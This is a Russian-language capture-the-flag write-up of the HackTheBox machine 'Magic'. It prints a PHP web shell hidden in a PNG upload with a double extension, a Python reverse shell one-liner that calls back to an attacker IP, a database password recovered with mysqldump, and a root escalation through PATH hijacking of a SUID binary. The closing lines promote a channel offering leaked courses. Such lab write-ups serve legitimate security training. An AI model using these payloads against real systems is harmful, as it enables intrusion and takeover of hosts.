Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье кидаем шелл в картинке, ищем учетные данные с помощью mysqldump и повышаем привилегии через sysinfo.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.185, который я добавляю в /etc/hosts.
10.10.10.185 magic.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A magic.htb -p22,80
На хосте открыто 2 порта: 22 — служба SSH, и 80 — веб-сервер. Как обычно, смотрим веб.
Замечаем ссылку на страницу авторизации. Первым делом пробуем один способ обхода авторизации, и находим верный.
Нас встречает форма загрузки изображений. Давайте попробуем закинуть в php код. Для этого возьмем первые четыре байта изображения и допишем к ним код. При этом сохраним двойным расширением. Так как при загрузке, сервер проверит последнее, а при выполнении — первое.
python -c "print('x89x50x4ex47' + '<?php echo system($_GET['cmd']); ?>')" > 1.php.png
Но нас ловят.
Давайте попробуем обхитрить, и спрячем код в комментарии.
И после попытки загрузить, нам сообщают об успешной загрузке.
Файл загружен, но вопрос — куда. Переберем директории, сайт простенький и время у меня было много, поэтому я не использовал gobuster и огромные словари. Запускаем dirb.
Скорее всего, мы нашли директорию, куда загружаются файлы. Теперь обратимся к нашему файлу, и в качестве параметра передадим команду ls.
И она выполнена!
Entry Point
Давайте кинем реверс шелл в качестве параметра.
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
И получаем бэкконнект на 4321 порт.
И в рабочей директории находим файл для работы с базой данных.
И в данном файле находим пароль пользователя.
Причем этот пользователь есть в системе. Пробуем сменить пользователя, но неудачно.
USER
Так как это пароль от базы данных, то он связан с mysql. Но у меня не вышло работать ни с mysql, ни с mysqladmin. Тогда было принято решение посмотреть все программы связанные с mysql.
Удача улыбнулась mysqldump. Подключаемся и находим пароль.
mysqldump -u theseus -p iamkingtheseus Magic
Теперь удачно меняем пользователя и получаем пользовательский флаг.
ROOT
Для удобства работы я сгенерировал SSH ключи с помощью ssh-keygen, публичный записал в файл ~/.ssh/authorized_keys, а с помощью приватного подключился по SSH. Далее загружаем на удаленный хост LinPEAS и запускаем. После полного перечисления всей системы, анализируем вывод. Единственное, за что я зацепился, это файлы с выставленным SUID (те, которые выполняются нами от имени root).
Программа sysinfo. Поискав информацию, ничего про выполнение команд найти не удалось. Тогда пришла идея, а что если sysinfo использует другие программы, которые мы можем дискредитировать. Я запустил sysinfo под ltrace.
Таким образом, sysinfo запускает программы lshw, fdisk и cat. Теперь подробнее про вектор LPE. В операционной системе есть переменная окружения PATH, которая хранит в себе пути.
Когда вы набираете программу ls или cd, система по очереди ищет эти файлы в директориях, указанных в PATH. Таким образом, если мы на первое место в PATH запишем любую директорию, а нее помести другую программу ls или cat, то будет вызвана именно она.
Таким образом, подобное я проверну с fdisk. Я не буду кидать реверс шелл, а просто скопирую наш SSH ключ пользователя руту, чтобы подключиться к руту по SSH также, как к пользователю.
Для примера вызовем fdisk. Как можно наблюдать, вызван легитимный fdisk.
Теперь добавим наш путь в переменную окружения PATH.
Теперь система будет искать fdisk сначала в /tmp/123.
Запустим sysinfo.
В выводе видим ошибку, так как директории .ssh у рута нет. Изменим скрипт, чтобы он сначала создавал директорию, а потом производил копирование. После выполнения sysinfo, никаких ошибок fdisk нет. Подключаемся по SSH как root и забираем флаг.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов